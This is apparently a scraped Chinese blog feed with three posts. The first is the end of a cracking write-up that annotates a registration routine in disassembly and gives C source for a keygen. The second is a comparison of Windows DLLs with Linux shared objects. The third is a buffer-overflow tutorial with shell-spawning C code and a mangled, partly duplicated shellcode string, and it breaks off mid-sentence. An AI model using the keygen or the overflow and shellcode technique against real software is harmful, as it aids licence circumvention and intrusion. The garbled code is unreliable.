AL,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 同0A比较<BR>005861AB&nbsp; |.&gt;|JGE SHORT unpacked.005861B5&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于等于跳到下面进行另外的计算<BR>005861AD&nbsp; |.&gt;|ADD EAX,30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 该值加上0x30<BR>005861B0&nbsp; |.&gt;|MOV BYTE PTR DS:[EBX],AL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 这个值就是注册码的第i个值，写入内存保存起来<BR>005861B2&nbsp; |.&gt;|INC EBX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 继续下一步<BR>005861B3&nbsp; |.&gt;|JMP SHORT unpacked.005861BD<BR>005861B5&nbsp; |&gt;&gt;|ADD AL,BYTE PTR SS:[EBP+18]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面如果大于0A，则加上[EBP+18]==61，<BR>005861B8&nbsp; |.&gt;|ADD AL,0F6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 再加上0F6<BR>005861BA&nbsp; |.&gt;|MOV BYTE PTR DS:[EBX],AL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 作为注册码的第i个值写入内存<BR>005861BC&nbsp; |.&gt;|INC EBX<BR>005861BD&nbsp; |&gt;&gt; LEA EDX,DWORD PTR SS:[EBP-24]&nbsp;&nbsp; ;&nbsp; 取地址[EBP-24]<BR>005861C0&nbsp; |.&gt;|CMP ECX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 比较是否结束循环<BR>005861C2&nbsp; |.&gt;\JNZ SHORT unpacked.005861A6&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 没有结束则继续<BR>005861C4&nbsp; |&gt;&gt;MOV BYTE PTR DS:[EBX],0<BR>005861C7&nbsp; |.&gt;MOV EAX,DWORD PTR SS:[EBP+C]<BR>005861CA&nbsp; |.&gt;POP EDI<BR>005861CB&nbsp; |.&gt;POP ESI<BR>005861CC&nbsp; |.&gt;POP EBX<BR>005861CD&nbsp; |.&gt;MOV ESP,EBP<BR>005861CF&nbsp; |.&gt;POP EBP<BR>005861D0&nbsp; \.&gt;RETN</P>
<P>----------------------------------------------------------------------------------------</P>
<P>呵呵，过程清晰明了吧？第一次循环：机器码异或0x90909090的结果除以前面求得的压栈的余数，然后这个过程的余数写入内存保留，商作为下一次循环的变量继续循环。第二次循环：将第一次循环中写入内存的值逆序读取出来，同0xA比较，小于就直接加上0x30，作为注册码的第i个字符写入内存；大于等于则加上61，再加0xF6，取低字节作为注册码的第i个字符写入内存。用户名没有参与计算。也不知道我说明白了没有，还是看程序来得直接，C源码的注册机：</P>
<P>-----------------------------------------------------------------------------------------</P>
<P>#include "stdafx.h"<BR>#include "stdlib.h"<BR>#include "stdio.h"</P>
<P>int main(int argc, char* argv[])<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char chKey[128] = {0};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int unXORCode, unRemainder, unQuotient, unTmp, unMachineCode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Please Key in the Machine Code:\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scanf("%d", &amp;unMachineCode);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unXORCode&nbsp;&nbsp; = unMachineCode ^ 0x90909090;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unRemainder = unXORCode % 0x25;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unQuotient&nbsp; = unXORCode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (unRemainder &lt; 0x11)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unRemainder += 0x11;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i = 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (unQuotient != 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = unQuotient % unRemainder;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unQuotient /= unRemainder;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (unTmp &gt;= 0xa)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp = unTmp + 0x61 + 0xf6;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp &amp;= 0x0ff;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chKey[i] = unTmp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chKey[i] = unTmp + 0x30;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i++;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Key is: \n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (i &gt;= 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%c", chKey[i]);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i--;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n");</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>}</P>
<P>-----------------------------------------------------------------------------------------</P>
<P>&nbsp;</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239976.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42807/" target="_blank">[新闻]Mono 2.0终于到来</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>深入分析Windows和Linux动态库应用异同</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 12:47:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239959.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239959.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239959.html</trackback:ping><description><![CDATA[<P>深入分析Windows和Linux动态库应用异同</P>
<P>作者：刘世栋 杨林</P>
<P>摘要：动态链接库技术实现和设计程序常用的技术，在Windows和Linux系统中都有动态库的概念，采用动态库可以有效的减少程序大小，节省空间，提高效率，增加程序的可扩展性，便于模块化管理。</P>
<P>但不同操作系统的动态库由于格式 不同，在需要不同操作系统调用时需要进行动态库程序移植。本文分析和比较了两种操作系统动态库技术，并给出了将Visual C++编制的动态库移植到Linux上的方法和经验。</P>
<P>1、引言</P>
<P>动态库（Dynamic Link Library abbr，DLL）技术是程序设计中经常采用的技术。其目的减少程序的大小，节省空间，提高效率，具有很高的灵活性。</P>
<P>采用动态库技术对于升级软件版本更加容易。与静态库（Static Link Library）不同，动态库里面的函数不是执行程序本身的一部分，而是根据执行需要按需载入，其执行代码可以同时在多个程序中共享。</P>
<P>在Windows和Linux操作系统中，都可采用这种方式进行软件设计，但他们的调用方式以及程序编制方式不尽相同。本文首先分析了在这两种操作系统中通常采用的动态库调用方法以及程序编制方式，然后分析比较了这两种方式的不同之处，最后根据实际移植程序经验，介绍了将VC++编制的Windows动态库移植到Linux下的方法。</P>
<P>2、动态库技术</P>
<P>2.1 Windows动态库技术</P>
<P>动态链接库是实现Windows应用程序共享资源、节省内存空间、提高使用效率的一个重要技术手段。常见的动态库包含外部函数和资源，也有一些动态库只包含资源，如Windows字体资源文件，称之为资源动态链接库。通常动态库以.dll，.drv、.fon等作为后缀。</P>
<P>相应的windows静态库通常以.lib结尾，Windows自己就将一些主要的系统功能以动态库模块的形式实现。</P>
<P>Windows动态库在运行时被系统加载到进程的虚拟空间中，使用从调用进程的虚拟地址空间分配的内存，成为调用进程的一部分。DLL也只能被该进程的线程所访问。DLL的句柄可以被调用进程使用；调用进程的句柄可以被DLL使用。</P>
<P>DLL模块中包含各种导出函数，用于向外界提供服务。DLL可以有自己的数据段，但没有自己的堆栈，使用与调用它的应用程序相同的堆栈模式；一个DLL在内存中只有一个实例；DLL实现了代码封装性；DLL的编制与具体的编程语言及编译器无关，可以通过DLL来实现混合语言编程。DLL函数中的代码所创建的任何对象（包括变量）都归调用它的线程或进程所有。</P>
<P>根据调用方式的不同，对动态库的调用可分为静态调用方式和动态调用方式。</P>
<P>(1)静态调用，也称为隐式调用，由编译系统完成对DLL的加载和应用程序结束时DLL卸载的编码（Windows系统负责对DLL调用次数的计数），调用方式简单，能够满足通常的要求。通常采用的调用方式是把产生动态连接库时产生的.LIB文件加入到应用程序的工程中，想使用DLL中的函数时，只须在源文件中声明一下。</P>
<P>LIB文件包含了每一个DLL导出函数的符号名和可选择的标识号以及DLL文件名，不含有实际的代码。Lib文件包含的信息进入到生成的应用程序中，被调用的DLL文件会在应用程序加载时同时加载在到内存中。</P>
<P>(2)动态调用，即显式调用方式，是由编程者用API函数加载和卸载DLL来达到调用DLL的目的，比较复杂，但能更加有效地使用内存，是编制大型应用程序时的重要方式。在Windows系统中，与动态库调用有关的函数包括：</P>
<P>①LoadLibrary（或MFC 的AfxLoadLibrary），装载动态库。</P>
<P>②GetProcAddress，获取要引入的函数，将符号名或标识号转换为DLL内部地址。</P>
<P>③FreeLibrary（或MFC的AfxFreeLibrary），释放动态链接库。</P>
<P>在windows中创建动态库也非常方便和简单。在Visual C++中，可以创建不用MFC而直接用C语言写的DLL程序，也可以创建基于MFC类库的DLL程序。每一个DLL必须有一个入口点，在VC++中，DllMain是一个缺省的入口函数。DllMain负责初始化(Initialization)和结束(Termination)工作。</P>
<P>动态库输出函数也有两种约定，分别是基于调用约定和名字修饰约定。DLL程序定义的函数分为内部函数和导出函数，动态库导出的函数供其它程序模块调用。通常可以有下面几种方法导出函数：</P>
<P>①采用模块定义文件的EXPORT部分指定要输入的函数或者变量。</P>
<P>②使用MFC提供的修饰符号_declspec(dllexport)。</P>
<P>③以命令行方式，采用/EXPORT命令行输出有关函数。</P>
<P>在windows动态库中，有时需要编写模块定义文件(.DEF)，它是用于描述DLL属性的模块语句组成的文本文件。</P>
<P>2.2 Linux共享对象技术</P>
<P>在Linux操作系统中，采用了很多共享对象技术（Shared Object），虽然它和Windows里的动态库相对应，但它并不称为动态库。相应的共享对象文件以.so作为后缀，为了方便，在本文中，对该概念不进行专门区分。Linux系统的/lib以及标准图形界面的/usr/X11R6/lib等目录里面，就有许多以so结尾的共享对象。</P>
<P>同样，在Linux下，也有静态函数库这种调用方式，相应的后缀以.a结束。Linux采用该共享对象技术以方便程序间共享，节省程序占有空间，增加程序的可扩展性和灵活性。Linux还可以通过LD-PRELOAD变量让开发人员可以使用自己的程序库中的模块来替换系统模块。</P>
<P>同Windows系统一样，在Linux中创建和使用动态库是比较容易的事情，在编译函数库源程序时加上-shared选项即可，这样所生成的执行程序就是动态链接库。通常这样的程序以so为后缀，在Linux动态库程序设计过程中，通常流程是编写用户的接口文件，通常是.h文件，编写实际的函数文件，以.c或.cpp为后缀，再编写makefile文件。对于较小的动态库程序可以不用如此，但这样设计使程序更加合理。</P>
<P>编译生成动态连接库后，进而可以在程序中进行调用。在Linux中，可以采用多种调用方式，同Windows的系统目录(..\system32等)一样，可以将动态库文件拷贝到/lib目录或者在/lib目录里面建立符号连接，以便所有用户使用。</P>
<P>下面介绍Linux调用动态库经常使用的函数，但在使用动态库时，源程序必须包含dlfcn.h头文件，该文件定义调用动态链接库的函数的原型。</P>
<P>(1)_打开动态链接库：dlopen，函数原型void *dlopen (const char *filename, int flag); dlopen用于打开指定名字(filename)的动态链接库，并返回操作句柄。</P>
<P>(2)取函数执行地址：dlsym，函数原型为: void *dlsym(void *handle, char *symbol); dlsym根据动态链接库操作句柄(handle)与符号(symbol)，返回符号对应的函数的执行代码地址。</P>
<P>(3)关闭动态链接库：dlclose，函数原型为: int dlclose (void *handle); dlclose用于关闭指定句柄的动态链接库，只有当此动态链接库的使用计数为0时,才会真正被系统卸载。</P>
<P>(4)动态库错误函数：dlerror，函数原型为: const char *dlerror(void); 当动态链接库操作函数执行失败时，dlerror可以返回出错信息，返回值为NULL时表示操作函数执行成功。</P>
<P>在取到函数执行地址后，就可以在动态库的使用程序里面根据动态库提供的函数接口声明调用动态库里面的函数。在编写调用动态库的程序的makefile文件时，需要加入编译选项-rdynamic和-ldl。</P>
<P>除了采用这种方式编写和调用动态库之外，Linux操作系统也提供了一种更为方便的动态库调用方式，也方便了其它程序调用，这种方式与Windows系统的隐式链接类似。其动态库命名方式为&#8220;lib*.so.*&#8221;。在这个命名方式中，第一个*表示动态链接库的库名，第二个*通常表示该动态库的版本号，也可以没有版本号。</P>
<P>在这种调用方式中，需要维护动态链接库的配置文件/etc/ld.so.conf来让动态链接库为系统所使用，通常将动态链接库所在目录名追加到动态链接库配置文件中。如具有X window窗口系统发行版该文件中都具有/usr/X11R6/lib，它指向X window窗口系统的动态链接库所在目录。</P>
<P>为了使动态链接库能为系统所共享，还需运行动态链接库的管理命令./sbin/ldconfig。在编译所引用的动态库时，可以在gcc采用 &#8211;l或-L选项或直接引用所需的动态链接库方式进行编译。在Linux里面，可以采用ldd命令来检查程序依赖共享库。</P>
<P>3、两种系统动态库比较分析</P>
<P>Windows和Linux采用动态链接库技术目的是基本一致的，但由于操作系统的不同，他们在许多方面还是不尽相同，下面从以下几个方面进行阐述。</P>
<P>(1)动态库程序编写，在Windows系统下的执行文件格式是PE格式，动态库需要一个DllMain函数作为初始化的人口，通常在导出函数的声明时需要有_declspec(dllexport)关键字。Linux下的gcc编译的执行文件默认是ELF格式，不需要初始化入口，亦不需要到函数做特别声明，编写比较方便。</P>
<P>(2)动态库编译，在windows系统下面，有方便的调试编译环境，通常不用自己去编写makefile文件，但在linux下面，需要自己动手去编写makefile文件，因此，必须掌握一定的makefile编写技巧，另外，通常Linux编译规则相对严格。</P>
<P>(3)动态库调用方面，Windows和Linux对其下编制的动态库都可以采用显式调用或隐式调用，但具体的调用方式也不尽相同。</P>
<P>(4)动态库输出函数查看，在Windows中，有许多工具和软件可以进行查看DLL中所输出的函数，例如命令行方式的dumpbin以及VC++工具中的DEPENDS程序。在Linux系统中通常采用nm来查看输出函数，也可以使用ldd查看程序隐式链接的共享对象文件。</P>
<P>(5)对操作系统的依赖，这两种动态库运行依赖于各自的操作系统，不能跨平台使用。因此，对于实现相同功能的动态库，必须为两种不同的操作系统提供不同的动态库版本。</P>
<P>4、动态库移植方法</P>
<P>如果要编制在两个系统中都能使用的动态链接库，通常会先选择在Windows的VC++提供的调试环境中完成初始的开发，毕竟VC++提供的图形化编辑和调试界面比vi和gcc方便许多。完成测试之后，再进行动态库的程序移植。</P>
<P>通常gcc默认的编译规则比VC++默认的编译规则严格，即使在VC++下面没有任何警告错误的程序在gcc调试中也会出现许多警告错误，可以在gcc中采用-w选项关闭警告错误。</P>
<P>下面给出程序移植需要遵循的规则以及经验。</P>
<P>(1)尽量不要改变原有动态库头文件的顺序。通常在C/C++语言中，头文件的顺序有相当的关系。另外虽然C/C++语言区分大小写，但在包含头文件时，Linux必须与头文件的大小写相同，因为ext2文件系统对文件名是大小写敏感，否则不能正确编译，而在Windows下面，头文件大小写可以正确编译。</P>
<P>(2)不同系统独有的头文件。在Windows系统中，通常会包括windows.h头文件，如果调用底层的通信函数，则会包含winsock..h头文件。因此在移植到Linux系统时，要注释掉这些Windows系统独有的头文件以及一些windows系统的常量定义说明，增加Linux都底层通信的支持的头文件等。</P>
<P>(3)数据类型。VC++具有许多独有的数据类型，如__int16，__int32，TRUE，SOCKET等，gcc编译器不支持它们。通常做法是需要将windows.h和basetypes.h中对这些数据进行定义的语句复制到一个头文件中，再在Linux中包含这个头文件。例如将套接字的类型为SOCKET改为int。</P>
<P>(4)关键字。VC++中具有许多标准C中所没有采用的关键字，如BOOL，BYTE，DWORD，__asm等，通常在为了移植方便，尽量不使用它们，如果实在无法避免可以采用#ifdef 和#endif为LINUX和WINDOWS编写两个版本。</P>
<P>(5)函数原型的修改。通常如果采用标准的C/C++语言编写的动态库，基本上不用再重新编写函数，但对于系统调用函数，由于两种系统的区别，需要改变函数的调用方式等，如在Linux编制的网络通信动态库中，用close()函数代替windows操作系统下的closesocket()函数来关闭套接字。另外在Linux下没有文件句柄，要打开文件可用open和fopen函数，具体这两个函数的用法可参考文献[2]。</P>
<P>(6)makefile的编写。在windows下面通常由VC++编译器来负责调试，但gcc需要自己动手编写makefile文件，也可以参照VC++生成的makefile文件。对于动态库移植，编译动态库时需要加入-shared选项。对于采用数学函数，如幂级数的程序，在调用动态库是，需要加入-lm。</P>
<P>(7)其它一些需要注意的地方</P>
<P>①程序设计结构分析，对于移植它人编写的动态库程序，程序结构分析是必不可少的步骤，通常在动态库程序中，不会包含界面等操作，所以相对容易一些。</P>
<P>②在Linux中，对文件或目录的权限分为拥有者、群组、其它。所以在存取文件时，要注意对文件是读还是写操作，如果是对文件进行写操作，要注意修改文件或目录的权限，否则无法对文件进行写。</P>
<P>③指针的使用，定义一个指针只给它分配四个字节的内存，如果要对指针所指向的变量赋值，必须用malloc函数为它分配内存或不把它定义为指针而定义为变量即可，这点在linux下面比windows编译严格。同样结构不能在函数中传值，如果要在函数中进行结构传值，必须把函数中的结构定义为结构指针。</P>
<P>④路径标识符，在Linux下是&#8220;/&#8221;，在Windows下是&#8220;\&#8221;，注意windows和Linux的对动态库搜索路径的不同。</P>
<P>⑤编程和调试技巧方面。对不同的调试环境有不同的调试技巧，在这里不多叙述。</P>
<P>5、结束语</P>
<P>本文系统分析了windows和Linux动态库实现和使用方式，从程序编写、编译、调用以及对操作系统依赖等方面综合分析比较了这两种调用方式的不同之处，根据实际程序移植经验，给出了将VC++编制的Windows动态库移植到Linux下的方法以及需要注意的问题，同时并给出了程序示例片断，实际在程序移植过程中，由于系统的设计等方面，可能移植起来需要注意的方面远比上面复杂，本文通过总结归纳进而为不同操作系统程序移植提供了有意的经验和技巧。<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239959.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42807/" target="_blank">[新闻]Mono 2.0终于到来</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>从头到脚了解缓冲溢出</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 12:46:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239958.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239958.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239958.html</trackback:ping><description><![CDATA[<P>从头到脚了解缓冲溢出</P>
<P>作者：Wendy</P>
<P>在这份指南中，我们将讨论什么是缓冲溢出和怎么样去使用它。你必须了解C语言和汇编语言，如果熟悉GDB的话更加好，当然这不是很必要的。 </P>
<P>(Memory organization)存储器分为3个部分 </P>
<P>1. 文本区域(程序区） </P>
<P>这个部分是用来存储程序指令的.所以，这个区域被标示为只读，任何写的操作都将导致错误。 </P>
<P>2. 数据区域 </P>
<P>这个部分存储静态变量，它的大小可以由brk()系统调用来改变。 </P>
<P>3. 堆栈 </P>
<P>堆栈有个特殊的属性，就是最新放置在它里面的，都将是第一个被移出堆栈的。在计算机科学里，这就是通常所指的后进先出(LIFO)。堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程，这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的，返回地址在过程被调用之前就被设置在堆栈中。 </P>
<P>它也被用来动态分配函数中的变量，以及函数的参数和返回值。 </P>
<P>返回地址和指令指针 </P>
<P>计算机执行一条指令，并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET)。 执行完成后，RET将会替换IP，程序接着继续执行本来的流程。 </P>
<P>一个缓冲溢出 </P>
<P>让我们用一个例子来说明以下缓冲溢出。 </P>
<P>lt;++&gt; buffer/example.c <BR>void main(){ <BR>char big_string［100］; <BR>char small_string［50］; <BR>memset(big_string,0x41,100); <BR>/* strcpy(char *to,char *from) */ <BR>trcpy(small_string,big_string);} <BR>lt;--&gt; end of example.c<BR>&nbsp;<BR>这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A)。然后它将big_string加到small_string中。很明显，数组small_string不能容纳100个字符，因此，溢出产生。 </P>
<P>接下来我们看看存储器中的变化情况: </P>
<P>［ big_string ］ ［ small_string ］ ［SFP］ ［RET］ </P>
<P>在溢出中，SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉。这就意味着RET要变为0x41414141(0x41是A十六进制的值)。当函数被返回的时候，指令指针(Instruction Pointer)将会被已经复写了的RET替换。接着，计算机会试着去执行在0x41414141处的指令。这将会导致段冲突，因为这个地址已经超出了处理范围。 </P>
<P>发掘漏洞 </P>
<P>现在我们知道我们可以通过覆盖RET来改变程序的正常流程，我们可以实验一下。不是用A来覆盖，而是用一些特别的地址来达到我们的目的。 </P>
<P>任意代码的执行 </P>
<P>现在我们需要一些东西来指向地址并执行。在大多数情况下，我们需要产生一个shell，当然这不是惟一的方法。 </P>
<P>Before: <BR>FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF <BR>B = the buffer <BR>E = stack frame pointer <BR>R = return address <BR>F = other data <BR>After: <BR>FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF <BR>S = shellcode <BR>A = address pointing to the shellcode <BR>F = other data</P>
<P>用C来产生shell的代码如下: </P>
<P>lt;++&gt; buffer/shell.c <BR>void main(){ <BR>char *name［2］; <BR>ame［0］ = "/bin/sh"; <BR>ame［1］ = 0x0; <BR>execve(name［0］, name, 0x0); <BR>exit(0); <BR>} <BR>lt;--&gt; end of shellcode<BR>&nbsp;<BR>这里我们就不打算去解释如何去写一个shellcode了，因为它需要很多汇编的知识。那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用。对于那些想知道如何产生的人来说，可以根据以下的步骤来完成： </P>
<P>- 用 -static flag 开关来编译上面的程序 </P>
<P>- 用GDB来打开上面的程序，然后用&#8220;disassemble main&#8221;命令 </P>
<P>- 去掉所有不必要的代码 </P>
<P>- 用汇编来重写它 </P>
<P>- 编译，然后再用GDB打开，用&#8220;disassemble main&#8221;命令 </P>
<P>- 在指令地址使用 x/bx 命令，找回 hex-code. </P>
<P>或者你可以使用这些代码 </P>
<P>char shellcode［］= <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh";</P>
<P>寻找地址 </P>
<P>当我们尝试去溢出一个程序的缓冲区的时候，这个程序要寻找这个缓冲区的地址。这个问题的答案是：对每个程序来说，堆栈都是在同一个地址上开始的。因此，只要知道了这个堆栈的地址是在哪里的，我们就可以猜出这个缓冲区的地址了。 </P>
<P>下面这个程序会告诉我们这个程序的的堆栈指针: </P>
